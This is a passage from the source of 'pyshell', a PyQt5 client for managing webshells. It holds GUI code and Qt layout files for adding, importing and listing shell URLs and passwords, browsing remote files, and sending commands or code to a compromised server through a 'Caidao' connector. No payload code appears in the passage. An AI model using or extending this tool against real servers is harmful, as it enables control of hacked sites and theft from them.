304 | text, okPressed = QInputDialog.getText(self, "pyshell", "pls input new file name:", QLineEdit.Normal, " ")
305 | if okPressed and text.strip():
306 | filename = self.ui.ComPath.currentText().strip() + self.linker.separator + text
307 | start_runnable(self.linker.new_file, setresult, filename=filename)
308 |
309 | def treeclicked(self, p):
310 | path = [p.text(0)]
311 | while True:
312 | parent = p.parent()
313 | if parent is None:
314 | break
315 | else:
316 | path.append(parent.text(0))
317 | p = parent
318 |
319 | path.reverse()
320 | path = "".join(path)
321 | self.get_item_form_folder(path)
322 |
--------------------------------------------------------------------------------
/view/import_shell_ui.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-07-09
6 |
7 | from PyQt5 import uic
8 | from PyQt5.QtWidgets import QDialog, QFileDialog, QMessageBox
9 |
10 | from util import load_from_file, start_runnable
11 |
12 | __author__ = "img"
13 | __date__ = '2018/7/9'
14 |
15 |
16 | class import_shell_ui(QDialog):
17 | def __init__(self, parent):
18 | super(import_shell_ui, self).__init__(parent)
19 | self.ui = uic.loadUi("view/ui/import_shell.ui", self)
20 | self.main = parent
21 | self.ui.button.clicked.connect(self.open_file_dialog)
22 | self.ui.pushButton.clicked.connect(self.import_shell)
23 |
24 | def open_file_dialog(self):
25 | options = QFileDialog.Options()
26 | options |= QFileDialog.DontUseNativeDialog
27 | fileName, _ = QFileDialog.getOpenFileName(self, "QFileDialog.getOpenFileName()", "",
28 | "All Files (*);;Python Files (*.py)", options=options)
29 | if fileName:
30 | self.filename = fileName
31 | self.ui.lineEdit.setText(fileName)
32 |
33 | def import_shell(self):
34 | def result(num):
35 | QMessageBox.critical(self, 'pyshell', "添加完成,成功%s,失败%s" % (num[0], num[0] ^ num[1]))
36 | start_runnable(self.main.refresh_table_item, lambda x: x)
37 |
38 | separator = self.ui.lineEdit_2.text()
39 | start_runnable(load_from_file, result, filename=self.filename, separator=separator)
40 |
--------------------------------------------------------------------------------
/view/main_view.py:
--------------------------------------------------------------------------------
1 | from PyQt5 import uic
2 | from PyQt5.QtCore import Qt
3 | from PyQt5.QtWidgets import QMainWindow, QAction, QTableWidget, QTableWidgetItem
4 |
5 | from model.db import db
6 | from util import get_location_from_domain, start_runnable
7 |
8 |
9 | class main_view(QMainWindow):
10 | def __init__(self, controller, parent=None):
11 | super(main_view, self).__init__(parent)
12 | self.ui = uic.loadUi("view/ui/main.ui", self)
13 | self.controller = controller
14 | self.controller.register_main(self)
15 | self.setWindowTitle('pyshell') # 设置标题
16 | self.ui.tabWidget.setTabText(0, "shell") # 设置标题
17 | self.ui.treeWidget.setHeaderLabels(['name', 'ID', 'Value'])
18 | self.ui.treeWidget.setColumnWidth(0, 150) # 设置宽度 1是列号 2是宽度
19 | self.ui.treeWidget.setColumnWidth(1, 0) # 设置宽度 1是列号 2是宽度
20 | self.ui.treeWidget.setHeaderHidden(True) # 取消标题
21 | self.tabWidget.setTabsClosable(True)
22 | self.statusBar.showMessage('欢迎使用pyshell', 10000)
23 | self.tabWidget.setTabsClosable(True) # 允许tab点击关闭
24 |
25 | self.__set_slot()
26 | self.createActions()
27 | self.tableWidget_ini()
28 |
29 | def display(self):
30 | self.ui.show()
31 |
32 | def __set_slot(self):
33 | # 右键响应设置
34 | self.tableWidget.setContextMenuPolicy(Qt.CustomContextMenu)
35 | self.setContextMenuPolicy(Qt.CustomContextMenu)
36 | self.tableWidget.customContextMenuRequested.connect(self.controller.tableWidget_menu)
37 | # 设置关闭tab
38 | self.tabWidget.tabCloseRequested.connect(self.controller.closeTab)
39 | self.ui.tableWidget.cellDoubleClicked.connect(self.controller.tableWidget_right)
40 |
41 | def createActions(self): # 加载菜单
42 | self.minimizeAction = QAction(u"最小化", self, triggered=self.hide)
43 | self.maximizeAction = QAction(u"最大化", self, triggered=self.showMaximized)
44 | self.restoreAction = QAction(u"还原", self, triggered=self.showNormal)
45 |
46 | def tableWidget_ini(self):
47 | self.db = db()
48 | self.tableWidget.setColumnCount(7) # 列
49 | self.tableWidget.setRowCount(0) # 行 len(node)
50 | self.tableWidget.setHorizontalHeaderLabels(['ID', '-', '网址', 'IP/物理位置', '备注', 'insert', 'update'])
51 | self.tableWidget.setColumnWidth(0, 0) # 设置表格的各列的宽度值
52 | self.tableWidget.setColumnWidth(1, 40) # 设置表格的各列的宽度值
53 | self.tableWidget.setColumnWidth(2, 300) # 设置表格的各列的宽度值
54 | self.tableWidget.setColumnWidth(3, 290) # 设置表格的各列的宽度值
55 | self.tableWidget.setColumnWidth(4, 90) # 设置表格的各列的宽度值
56 | self.tableWidget.setColumnWidth(5, 150) # 设置表格的各列的宽度值
57 | self.tableWidget.setColumnWidth(6, 150) # 设置表格的各列的宽度值
58 | self.tableWidget.setRowHeight(0, 23)
59 | self.tableWidget.setEditTriggers(QTableWidget.NoEditTriggers) # 设置表格的单元为只读属性,即不能编辑
60 | self.tableWidget.setSelectionBehavior(QTableWidget.SelectRows) # 点击选择是选择行//设置选中时为整行选中
61 | self.tableWidget.setAlternatingRowColors(True) # 还是只可以选择单行(单列)
62 | self.tableWidget.verticalHeader().hide() # 隐藏行头
63 |
64 |
65 |
66 | start_runnable(self.refresh_table_item, lambda x: x)
67 |
68 |
69 | def refresh_table_item(self):
70 | rows = db().getall()
71 | for row in rows:
72 | i = self.ui.tableWidget.rowCount()
73 | self.ui.tableWidget.insertRow(i)
74 | self.ui.tableWidget.setItem(i, 0, QTableWidgetItem(str(row.id)))
75 | self.ui.tableWidget.setItem(i, 1, QTableWidgetItem(row.types))
76 | self.ui.tableWidget.setItem(i, 2, QTableWidgetItem(row.shell))
77 | self.ui.tableWidget.setItem(i, 3, QTableWidgetItem(get_location_from_domain(row.shell)))
78 | self.ui.tableWidget.setItem(i, 4, QTableWidgetItem(row.remark))
79 | self.ui.tableWidget.setItem(i, 5, QTableWidgetItem(row.createdtime))
80 | self.ui.tableWidget.setItem(i, 6, QTableWidgetItem(row.updatetime))
81 |
--------------------------------------------------------------------------------
/view/self_exec_ui.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-07-03
6 | from PyQt5 import uic
7 | from PyQt5.QtWidgets import QWidget
8 |
9 | from model.db import db
10 | from model.shells import Caidao
11 | from util import start_runnable
12 |
13 | __author__ = "img"
14 | __date__ = '2018/7/3'
15 |
16 |
17 | class self_exec_ui(QWidget):
18 | def __init__(self, id, parent):
19 | super(self_exec_ui, self).__init__(parent)
20 | self.main = parent # 主程序UI
21 | self.ui = uic.loadUi("view/ui/ShowEdit_shellManage.ui", self)
22 | self.main.tabWidget.addTab(self, "self_exec")
23 | self.main.tabWidget.setCurrentWidget(self)
24 | self.db = db()
25 | record = self.db.get(id)
26 | self.siteurl = record.shell
27 | self.sitepass = record.passwd
28 | self.ui.send_pushButton.clicked.connect(self.exc_code)
29 | self.init_linker()
30 |
31 | def init_linker(self):
32 | def start():
33 | return Caidao.Caidao(self.siteurl, self.sitepass)
34 |
35 | def getresult(obj):
36 | self.linker = obj
37 |
38 | start_runnable(start, getresult)
39 |
40 | def exc_code(self):
41 | content = self.ui.textEdit.toPlainText()
42 | start_runnable(self.linker.raw, lambda x: self.ui.messages.setPlainText(x), data=content)
43 |
--------------------------------------------------------------------------------
/view/ui/Edit_file.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | Form
4 |
5 |
6 |
7 | 0
8 | 0
9 | 973
10 | 512
11 |
12 |
13 |
14 | Form
15 |
16 |
17 |
18 | 0
19 |
20 | -
21 |
22 |
-
23 |
24 |
25 | 载入
26 |
27 |
28 |
29 | -
30 |
31 |
32 | -
33 |
34 |
35 | 保存
36 |
37 |
38 |
39 |
40 |
41 | -
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/view/ui/ShowEdit_shellManage.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | Form
4 |
5 |
6 |
7 | 0
8 | 0
9 | 707
10 | 495
11 |
12 |
13 |
14 | Form
15 |
16 |
17 |
18 | 0
19 |
20 |
21 | 0
22 |
23 | -
24 |
25 |
26 | 0
27 |
28 |
-
29 |
30 |
-
31 |
32 |
33 | TextLabel
34 |
35 |
36 |
37 | -
38 |
39 |
40 | 执行
41 |
42 |
43 |
44 | -
45 |
46 |
47 | 清空
48 |
49 |
50 |
51 | -
52 |
53 |
54 | 获取更多帮助
55 |
56 |
57 |
58 |
59 |
60 | -
61 |
62 |
63 | -
64 |
65 |
66 | QLayout::SetMinAndMaxSize
67 |
68 |
69 | 0
70 |
71 |
72 | 5
73 |
74 |
75 | 0
76 |
77 |
-
78 |
79 |
80 |
81 | 0
82 | 40
83 |
84 |
85 |
86 |
87 | 0
88 | 40
89 |
90 |
91 |
92 |
93 | 16777215
94 | 200
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
--------------------------------------------------------------------------------
/view/ui/ShowFileManage.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | Form
4 |
5 |
6 |
7 | 0
8 | 0
9 | 979
10 | 537
11 |
12 |
13 |
14 |
15 | 0
16 | 0
17 |
18 |
19 |
20 | Form
21 |
22 |
23 |
24 | 7
25 |
26 |
27 | 1
28 |
29 | -
30 |
31 |
32 | 0
33 |
34 |
35 | QLayout::SetMaximumSize
36 |
37 |
-
38 |
39 |
40 | QLayout::SetNoConstraint
41 |
42 |
-
43 |
44 |
45 | QLayout::SetFixedSize
46 |
47 |
48 | 2
49 |
50 |
51 | 0
52 |
53 |
54 | 9
55 |
56 |
57 | 6
58 |
59 |
-
60 |
61 |
62 |
63 | 10
64 | 10
65 |
66 |
67 |
68 |
69 | 10
70 | 0
71 |
72 |
73 |
74 | 文件路径:
75 |
76 |
77 |
78 | -
79 |
80 |
81 |
82 | 0
83 | 0
84 |
85 |
86 |
87 | 读取
88 |
89 |
90 |
91 | -
92 |
93 |
94 |
95 |
96 | -
97 |
98 |
99 |
100 | 100
101 | 0
102 |
103 |
104 |
105 |
106 | 230
107 | 16777215
108 |
109 |
110 |
111 |
112 | 1
113 |
114 |
115 |
116 |
117 | -
118 |
119 |
120 |
121 | 0
122 | 1
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
--------------------------------------------------------------------------------
/view/ui/ShowcmdManage.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | Form
4 |
5 |
6 |
7 | 0
8 | 0
9 | 1016
10 | 490
11 |
12 |
13 |
14 | Form
15 |
16 |
17 |
18 | 0
19 |
20 | -
21 |
22 |
23 | 5
24 |
25 |
-
26 |
27 |
28 | -
29 |
30 |
-
31 |
32 |
-
33 |
34 |
35 | -
36 |
37 |
38 |
39 | 10
40 | 10
41 |
42 |
43 |
44 |
45 | 10
46 | 10
47 |
48 |
49 |
50 | 命令:
51 |
52 |
53 |
54 | -
55 |
56 |
57 |
58 | 10
59 | 10
60 |
61 |
62 |
63 |
64 | 10
65 | 15
66 |
67 |
68 |
69 | 发送
70 |
71 |
72 |
73 |
74 |
75 | -
76 |
77 |
-
78 |
79 |
80 |
81 | 10
82 | 10
83 |
84 |
85 |
86 |
87 | 10
88 | 10
89 |
90 |
91 |
92 | 参数1:
93 |
94 |
95 |
96 | -
97 |
98 |
99 |
100 | 20
101 | 20
102 |
103 |
104 |
105 |
106 | -
107 |
108 |
109 |
110 | 10
111 | 10
112 |
113 |
114 |
115 |
116 | 10
117 | 0
118 |
119 |
120 |
121 | 参数2:
122 |
123 |
124 |
125 | -
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
--------------------------------------------------------------------------------
/view/ui/add_shell_ui.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | Form
4 |
5 |
6 |
7 | 0
8 | 0
9 | 786
10 | 302
11 |
12 |
13 |
14 | Form
15 |
16 |
17 |
18 |
19 | 10
20 | 20
21 | 71
22 | 16
23 |
24 |
25 |
26 | URL地址:
27 |
28 |
29 |
30 |
31 |
32 | 80
33 | 10
34 | 471
35 | 31
36 |
37 |
38 |
39 |
40 |
41 |
42 | 560
43 | 20
44 | 41
45 | 16
46 |
47 |
48 |
49 | 密码:
50 |
51 |
52 |
53 |
54 |
55 | 30
56 | 60
57 | 41
58 | 16
59 |
60 |
61 |
62 | 配置:
63 |
64 |
65 |
66 |
67 |
68 | 80
69 | 50
70 | 691
71 | 161
72 |
73 |
74 |
75 |
76 |
77 |
78 | 30
79 | 230
80 | 41
81 | 16
82 |
83 |
84 |
85 | 备注:
86 |
87 |
88 |
89 |
90 |
91 | 80
92 | 220
93 | 691
94 | 31
95 |
96 |
97 |
98 |
99 |
100 |
101 | 10
102 | 260
103 | 151
104 | 31
105 |
106 |
107 |
108 |
109 |
110 |
111 | 190
112 | 260
113 | 131
114 | 31
115 |
116 |
117 |
118 |
119 |
120 |
121 | 350
122 | 260
123 | 131
124 | 31
125 |
126 |
127 |
128 |
129 |
130 |
131 | 650
132 | 250
133 | 121
134 | 41
135 |
136 |
137 |
138 | 添加
139 |
140 |
141 |
142 |
143 |
144 | 510
145 | 270
146 | 121
147 | 19
148 |
149 |
150 |
151 | 记录最后配置
152 |
153 |
154 |
155 |
156 |
157 | 600
158 | 10
159 | 81
160 | 31
161 |
162 |
163 |
164 | QLineEdit::Password
165 |
166 |
167 |
168 |
169 |
170 | 690
171 | 20
172 | 91
173 | 19
174 |
175 |
176 |
177 | 显示密码
178 |
179 |
180 |
181 |
182 | siteurl
183 | sitepass
184 | config
185 | remarks
186 | type_id
187 | script
188 | coding
189 | checkBox
190 | pushButton
191 |
192 |
193 |
194 |
195 |
--------------------------------------------------------------------------------
/view/ui/export_shell.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | Dialog
4 |
5 |
6 |
7 | 0
8 | 0
9 | 342
10 | 168
11 |
12 |
13 |
14 | Dialog
15 |
16 |
17 |
18 |
19 | 0
20 | 20
21 | 341
22 | 271
23 |
24 |
25 |
26 | -
27 |
28 |
29 | 选择文件
30 |
31 |
32 |
33 | -
34 |
35 |
36 | -
37 |
38 |
39 | 分隔符
40 |
41 |
42 |
43 | -
44 |
45 |
46 | -
47 |
48 |
49 | 导出
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
--------------------------------------------------------------------------------
/view/ui/import_shell.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | Dialog
4 |
5 |
6 |
7 | 0
8 | 0
9 | 328
10 | 173
11 |
12 |
13 |
14 | Dialog
15 |
16 |
17 | -
18 |
19 |
20 | 导入
21 |
22 |
23 |
24 | -
25 |
26 |
27 | 选择文件
28 |
29 |
30 |
31 | -
32 |
33 |
34 |
35 | 249
36 | 16777215
37 |
38 |
39 |
40 |
41 | -
42 |
43 |
44 | -
45 |
46 |
47 | 分隔符
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
--------------------------------------------------------------------------------
/view/ui/main.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | MainWindow
4 |
5 |
6 |
7 | 0
8 | 0
9 | 1241
10 | 642
11 |
12 |
13 |
14 |
15 | 500
16 | 0
17 |
18 |
19 |
20 | XXXXXXX
21 |
22 |
23 |
24 |
25 | 16777215
26 | 16777215
27 |
28 |
29 |
30 |
31 | QLayout::SetMinAndMaxSize
32 |
33 |
34 | 2
35 |
36 |
37 | 2
38 |
39 |
40 | 2
41 |
42 |
43 | 2
44 |
45 |
46 | 2
47 |
48 |
49 | 0
50 |
51 | -
52 |
53 |
-
54 |
55 |
56 | 0
57 |
58 |
-
59 |
60 |
61 |
62 | 0
63 | 0
64 |
65 |
66 |
67 | 0
68 |
69 |
70 |
71 | 1
72 |
73 |
74 |
75 | 0
76 |
77 |
78 | 0
79 |
80 |
81 | 0
82 |
83 |
84 | 0
85 |
86 |
87 | 0
88 |
89 |
-
90 |
91 |
92 | QLayout::SetNoConstraint
93 |
94 |
95 | 0
96 |
97 |
98 | 0
99 |
100 |
-
101 |
102 |
103 |
104 | 0
105 | 0
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 | -
119 |
120 |
121 | 0
122 |
123 |
-
124 |
125 |
126 |
127 | 0
128 | 0
129 |
130 |
131 |
132 |
133 | 200
134 | 25
135 |
136 |
137 |
138 | <center>TODO List</center>
139 |
140 |
141 | Qt::AlignCenter
142 |
143 |
144 |
145 | -
146 |
147 |
148 |
149 | 0
150 | 0
151 |
152 |
153 |
154 |
155 | 200
156 | 16777215
157 |
158 |
159 |
160 |
161 | 1
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
210 |
211 |
212 |
213 | 退出
214 |
215 |
216 | true
217 |
218 |
219 |
220 |
221 | 添加webshell
222 |
223 |
224 |
225 |
226 | 设置参数
227 |
228 |
229 |
230 |
231 | 关于
232 |
233 |
234 |
235 |
236 |
237 |
238 |
--------------------------------------------------------------------------------